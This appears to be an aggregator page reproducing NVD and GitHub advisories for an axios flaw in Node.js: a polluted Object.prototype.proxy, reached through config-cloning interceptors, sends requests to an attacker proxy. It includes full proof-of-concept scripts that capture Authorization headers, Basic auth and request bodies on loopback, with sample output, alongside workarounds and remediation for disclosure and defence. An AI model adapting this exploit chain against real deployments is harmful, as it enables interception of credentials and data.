axios in a Node.js deployment using the HTTP adapter can route requests through an attacker-controlled proxy. axios hardens merged request configuration by creating a null-prototype object, but request interceptors run after the merge; a common immutable interceptor pattern such as {...config} or Object.assign({}, config) converts the hardened config back into a regular object. axios then dispatches that object without re-hardening it, and the Node HTTP adapter reads config.proxy through the prototype chain. If an attacker can pollute Object.prototype.proxy, affected requests can be routed through an attacker-controlled proxy. For plaintext HTTP requests, the proxy can observe Authorization headers, Basic auth from config.auth, method, absolute URL, Host, and request body, and can return its own response. This does not establish browser impact or HTTPS header/body disclosure under normal TLS validation. Affected versions are >=0.31.1 (fixed in 0.33.0) and >=1.15.2 (fixed in 1.18.0).

Additional publisher context

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Analyzed

Weakness classifications: CWE-200

Original publisher date fields

published: 2026-08-01T13:17:02.217

lastModified: 2026-09-01T15:39:00.080

1 source CPE criteria · context only
  • cpe:2.3:a:axios:axios:*:*:*:*:*:node.js:*:*

The original JSON retains the logical configuration operators, exclusions and version bounds.

Source published
1 Aug 2026 13:17:02 UTC
Source modified
1 Sep 2026 15:39:00 UTC
Saved here
25 Oct 2026 15:18:51 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 4.0 · [email protected] · Secondary · 8.3 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Primary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

osv · GHSA-68jp-44vc-2x5h

Withdrawn

## Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-gcfj-64vw-6mp9. This link is maintained to preserve external references. ## Original Description axios in a Node.js deployment using the HTTP adapter can route requests through an attacker-controlled proxy. axios hardens merged request configuration by creating a null-prototype object, but request interceptors run after the merge; a common immutable interceptor pattern such as {...config} or Object.assign({}, config) converts the hardened config back into a regular object. axios then dispatches that object without re-hardening it, and the Node HTTP adapter reads config.proxy through the prototype chain. If an attacker can pollute Object.prototype.proxy, affected requests can be routed through an attacker-controlled proxy. For plaintext HTTP requests, the proxy can observe Authorization headers, Basic auth from config.auth, method, absolute URL, Host, and request body, and can return its own response. This does not establish browser impact or HTTPS header/body disclosure under normal TLS validation. Affected versions are >=0.31.1 (fixed in 0.33.0) and >=1.15.2 (fixed in 1.18.0).

Source published
1 Aug 2026 15:30:28 UTC
Source modified
10 Sep 2026 03:51:13 UTC
Saved here
24 Oct 2026 13:17:17 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Publisher rating · HIGH

osv · GHSA-gcfj-64vw-6mp9

Published

## Summary Axios’ Node.js HTTP adapter can route requests through an attacker-controlled proxy when `Object.prototype.proxy` is polluted and request configuration is materialized as a regular object before dispatch. Recent axios releases harden merged request config by creating a null-prototype object. However, request interceptors run after that merge and may return a replacement config. A common immutable interceptor pattern such as `{...config}` or `Object.assign({}, config)` converts the hardened config back into a normal object. Axios then dispatches that object without re-hardening it, and the Node HTTP adapter reads `config.proxy` through the prototype chain. ## Impact In a Node.js deployment using the HTTP adapter, an attacker who can trigger prototype pollution elsewhere in the process can route affected HTTP requests through an attacker-controlled proxy. The highest confirmed impact is for plaintext HTTP requests. The proxy can observe explicit `Authorization` headers, axios-generated Basic auth from `config.auth`, request method, absolute URL, `Host`, and request body content. The proxy can also return its own response to axios for the affected request. This does not establish browser impact. It also does not establish HTTPS header or body disclosure under normal TLS validation. ## Affected Functionality Affected functionality is limited to axios requests that use the Node.js HTTP adapter, including default Node usage when the HTTP adapter is selected and explicit `adapter: 'http'` usage. The relevant configuration path is `config.proxy` in the Node HTTP adapter. The hardened-bypass path requires a request interceptor such as: ```js api.interceptors.request.use((config) => ({ ...config, headers: { ...config.headers, 'X-App': 'demo' } })); ``` Unaffected or mitigating conditions include browser adapters, the Node fetch adapter, no polluted `Object.prototype.proxy`, an own `proxy: false` or safe own `proxy` value on the config, and hardened releases where interceptors return the original null-prototype config instead of a regular object clone. ## Technical Details `lib/core/mergeConfig.js` creates a null-prototype merged config and uses own-property reads for merged values. This is intended to prevent polluted `Object.prototype` values from affecting config behavior. `lib/core/Axios.js` runs request interceptors after the merge. In both the asynchronous and synchronous interceptor paths, axios passes the interceptor-returned config into dispatch. `lib/core/dispatchRequest.js` accepts that returned config, transforms request data, selects the adapter, and calls the adapter without re-hardening or re-normalizing the config. `lib/adapters/http.js` uses own-property reads for several sensitive fields, but the initial proxy dispatch path still passes `config.proxy` directly into `setProxy()`. If an interceptor returned a regular object, `config.proxy` can resolve to inherited `Object.prototype.proxy`. ## Proof of Concept of Attack ```js import axios from './index.js'; import http from 'node:http'; for (const key of [ 'HTTP_PROXY', 'HTTPS_PROXY', 'ALL_PROXY', 'http_proxy', 'https_proxy', 'all_proxy', 'NO_PROXY', 'no_proxy' ]) { delete process.env[key]; } const listen = (handler) => new Promise((resolve, reject) => { const server = http.createServer(handler); server.once('error', reject); server.listen(0, '127.0.0.1', () => resolve(server)); }); const close = (server) => new Promise((resolve) => server.close(resolve)); const targetHits = []; const proxyHits = []; const target = await listen((req, res) => { targetHits.push(req.url); res.end('target'); }); const proxy = await listen((req, res) => { let body = ''; req.on('data', (chunk) => body += chunk); req.on('end', () => { proxyHits.push({ url: req.url, authorization: req.headers.authorization, host: req.headers.host, body }); res.setHeader('content-type', 'application/json'); res.end('{"server":"proxy"}'); }); }); Object.prototype.proxy = { protocol: 'http', host: '127.0.0.1', port: proxy.address().port }; const api = axios.create(); api.interceptors.request.use((config) => ({ ...config, headers: { ...config.headers, 'X-App': 'demo' } })); try { const url = `http://127.0.0.1:${target.address().port}/api/secret`; const res = await api.post( url, {secret: 'request-body-secret'}, {headers: {Authorization: 'Bearer EXPLICIT_SECRET'}} ); console.log({ response: res.data, targetHits, proxyHits, finalConfigHasOwnProxy: Object.hasOwn(res.config, 'proxy') }); } finally { delete Object.prototype.proxy; await close(target); await close(proxy); } ``` Expected vulnerable result: the response comes from the proxy, `targetHits` is empty, and `proxyHits` contains the absolute URL, authorization header, host header, and request body. ## Workarounds Set an own `proxy: false` on affected requests or on an axios instance when proxy support is not required. Avoid request interceptors that return regular object clones of config in hardened releases. Returning the original config or cloning into a null-prototype object avoids this specific bypass, but this is fragile and should not replace a fix. Use the Node fetch adapter for affected requests where its behavior is compatible with the application. <details> <summary>Original Report</summary> ## Summary Axios hardens merged request config by creating a null-prototype object, preventing polluted Object.prototype properties from influencing request behavior. Request interceptors run after that hardening, and a normal immutable interceptor pattern such as {...config} or Object.assign({}, config) re-materializes the config as a regular object. Axios then dispatches that interceptor-returned object without re-hardening it. In the Node HTTP adapter, config.proxy is read through the prototype chain, allowing a polluted Object.prototype.proxy to route authenticated HTTP requests through an attacker-controlled proxy. ## Impact In a Node.js deployment using the HTTP adapter, an attacker who can trigger prototype pollution elsewhere in the process can cause affected axios requests to be sent through an attacker-controlled proxy when the application uses a request interceptor that returns a plain object copy of the config. Verified local impact: - Authenticated request redirection to attacker-controlled proxy. - Disclosure of explicit Authorization headers. - Disclosure of axios-generated Basic auth headers from config.auth. - Disclosure of request metadata: method, absolute URL, Host header. - Disclosure of POST body content. This report does not claim browser impact or proven HTTPS credential disclosure. The demonstrated credential and body disclosure is for Node HTTP-adapter requests over HTTP/plaintext. ## Affected component The affected component is the Node.js HTTP adapter request path after request interceptors have run. The issue requires: - Node.js HTTP adapter usage. - A polluted Object.prototype.proxy. - A request interceptor that returns a plain object copy of the config. - No own proxy: false or safe own proxy property on the request config. ## Affected versions Confirmed affected for this specific hardening-bypass variant: - [email protected] - [email protected] [email protected] was the latest published version observed via npm view axios version during validation. Related older behavior observed during testing: - 1.13.0, 1.13.6, 1.14.0, 1.15.0, and 1.15.1 routed via inherited Object.prototype.proxy even without the interceptor re-materialization step. That is related background, not the narrowed hardening-bypass variant described here. ## Root cause 1. Initial hardening Axios initially hardens merged request config by creating a null-prototype object in mergeConfig(), which is meant to prevent inherited Object.prototype properties from influencing request behavior. Permalink: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/mergeConfig.js#L21-L25 2. Interceptor re-materialization Request interceptors run after that hardening step, and axios allows an interceptor to return a replacement config object. A common immutable pattern such as {...config} or Object.assign({}, config) converts the hardened null- prototype config back into a normal object with Object.prototype as its prototype. Permalinks: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L187-L199, https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L204-L218 3. No post-interceptor re-hardening Axios passes the interceptor-returned config into request dispatch without restoring the null-prototype property or otherwise normalizing the object into an own-property-only structure. Permalink: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/dispatchRequest.js#L34-L48 4. Prototype-chain read of proxy in the Node adapter The Node HTTP adapter later consults config.proxy, and this read is reachable through the prototype chain once the interceptor has re-materialized the config as a normal object. As a result, a polluted Object.prototype.proxy can redirect the outgoing authenticated request through an attacker-controlled proxy. Permalink: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/adapters/http.js#L816-L820 ## Why this is a security issue and not intended behavior Axios’ threat model explicitly treats polluted Object.prototype config reads as high-impact read-side gadgets and states that axios defends reachable config-read gadgets through own-property checks and null-prototype structures. The existing regression tests also assert that a polluted Object.prototype.proxy must not route requests through an attacker proxy. This behavior is therefore a bypass of axios’ existing prototype-pollution hardening, not merely a generic “polluted process” complaint. The interceptor does not need to be malicious; it can be ordinary application code that returns an immutable copy of the config. The attacker-controlled piece is the polluted prototype property supplied by a separate vulnerability or dependency. ## Realistic threat model A realistic exploit chain is: 1. A transitive dependency or upstream parser bug allows prototype pollution in a Node.js process. 2. The polluted property is Object.prototype.proxy, with host and port pointing to an attacker-controlled proxy. 3. The application uses axios with a request interceptor that returns a plain object copy, such as adding headers immutably. 4. The application sends an HTTP request with credentials or sensitive body data. 5. Axios routes that request through the inherited proxy configuration. This requires a prototype pollution primitive and a compatible interceptor pattern. It does not require the attacker to control the interceptor. ## Proof of concept Save as poc.mjs in the axios repository root: ```js import axios from './index.js'; import http from 'node:http'; const proxyEnvKeys = [ 'HTTP_PROXY', 'HTTPS_PROXY', 'ALL_PROXY', 'http_proxy', 'https_proxy', 'all_proxy', 'NO_PROXY', 'no_proxy' ]; for (const key of proxyEnvKeys) delete process.env[key]; const listen = (handler) => new Promise((resolve, reject) => { const server = http.createServer(handler); server.once('error', reject); server.listen(0, '127.0.0.1', () => resolve(server)); }); const close = (server) => new Promise((resolve) => server.close(resolve)); const targetHits = []; const proxyHits = []; const target = await listen((req, res) => { let body = ''; req.on('data', (chunk) => body += chunk); req.on('end', () => { targetHits.push({ url: req.url, method: req.method, authorization: req.headers.authorization || null, body }); res.writeHead(200, {'Content-Type': 'application/json'}); res.end(JSON.stringify({server: 'target'})); }); }); const proxy = await listen((req, res) => { let body = ''; req.on('data', (chunk) => body += chunk); req.on('end', () => { proxyHits.push({ url: req.url, method: req.method, authorization: req.headers.authorization || null, host: req.headers.host || null, body }); res.writeHead(200, {'Content-Type': 'application/json'}); res.end(JSON.stringify({server: 'proxy'})); }); }); Object.prototype.proxy = { protocol: 'http', host: '127.0.0.1', port: proxy.address().port }; const api = axios.create(); api.interceptors.request.use((config) => ({ ...config, headers: { ...config.headers, 'X-App': 'demo' } })); try { const url = `http://127.0.0.1:${target.address().port}/api/secret`; const explicit = await api.get(url, { headers: {Authorization: 'Bearer EXPLICIT_SECRET'} }); proxyHits.length = 0; targetHits.length = 0; const basic = await api.get(url, { auth: {username: 'svc-account', password: 'prod-secret'} }); proxyHits.length = 0; targetHits.length = 0; const post = await api.post(url, {secret: 'request-body-secret'}, { headers: {Authorization: 'Bearer EXPLICIT_SECRET'} }); console.log(JSON.stringify({ explicitResponse: explicit.data, basicResponse: basic.data, postResponse: post.data, targetHits, proxyHits, finalConfigPrototype: Object.getPrototypeOf(post.config) === Object.prototype ? 'Object.prototype' : 'other', finalConfigHasOwnProxy: Object.prototype.hasOwnProperty.call(post.config, 'proxy') }, null, 2)); } finally { delete Object.prototype.proxy; await close(target); await close(proxy); } ``` Run: ```bash npm ci node poc.mjs ``` ## Observed results Representative observed output from local loopback testing: ```text { "explicitResponse": {"server": "proxy"}, "basicResponse": {"server": "proxy"}, "postResponse": {"server": "proxy"}, "targetHits": [], "proxyHits": [ { "url": "http://127.0.0.1:40613/api/secret", "method": "POST", "authorization": "Bearer EXPLICIT_SECRET", "host": "127.0.0.1:40613", "body": "{\"secret\":\"request-body-secret\"}" } ], "finalConfigPrototype": "Object.prototype", "finalConfigHasOwnProxy": false } Additional validation showed axios-generated Basic auth is also disclosed to the proxy: { "authorization": "Basic c3ZjLWFjY291bnQ6cHJvZC1zZWNyZXQ=" } ``` That value decodes to: svc-account:prod-secret Negative controls were also tested: - No interceptor: target receives request, proxy receives none. - Interceptor mutating and returning the same config object: proxy receives none. - Own proxy: false: proxy receives none. - Null-prototype clone interceptor: proxy receives none. - Fetch adapter in Node with the same interceptor: proxy receives none. ## Suggested remediation Re-harden the final request config after all request interceptors and before adapter dispatch. This should cover both asynchronous and synchronous interceptor paths. A practical fix would be to normalize the interceptor-returned object into a null-prototype, own-property-only config before calling dispatchRequest(), or at the start of dispatchRequest() itself. Security-sensitive adapter reads should also consistently use own-property access helpers. In particular, the Node HTTP adapter should not read config.proxy through the prototype chain. ## Minimal regression test Add an end-to-end Node HTTP adapter test that: 1. Starts a target server and attacker proxy on 127.0.0.1. 2. Sets Object.prototype.proxy to the attacker proxy. 3. Adds a request interceptor returning {...config, headers: {...config.headers}}. 4. Sends a request with an Authorization header. 5. Asserts the target server receives the request. 6. Asserts the attacker proxy receives no request. 7. Asserts the final config no longer exposes inherited proxy. A second assertion can cover config.auth to ensure axios-generated Basic auth is not sent to the attacker proxy. ## References / permalinks - mergeConfig() null-prototype hardening: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/mergeConfig.js#L21-L25 - Async interceptor dispatch path: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L187-L199 - Synchronous interceptor dispatch path: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L204-L218 - dispatchRequest() receives interceptor-returned config: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/dispatchRequest.js#L34-L48 - Node HTTP adapter config.proxy read: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/adapters/http.js#L816-L820 - Axios threat model for prototype-pollution read-side gadgets: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/THREATMODEL.md#L136-L144 - Existing proxy pollution regression test intent: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/tests/unit/prototypePollution.test.js#L1098-L1135 </details>

Source published
20 Jul 2026 22:40:07 UTC
Source modified
10 Sep 2026 03:50:52 UTC
Saved here
24 Oct 2026 13:17:17 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N

Publisher rating · HIGH

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 15 Nov 15:52 UTC · 256 of 275 readable · 251 fully read · documentation 469/469 current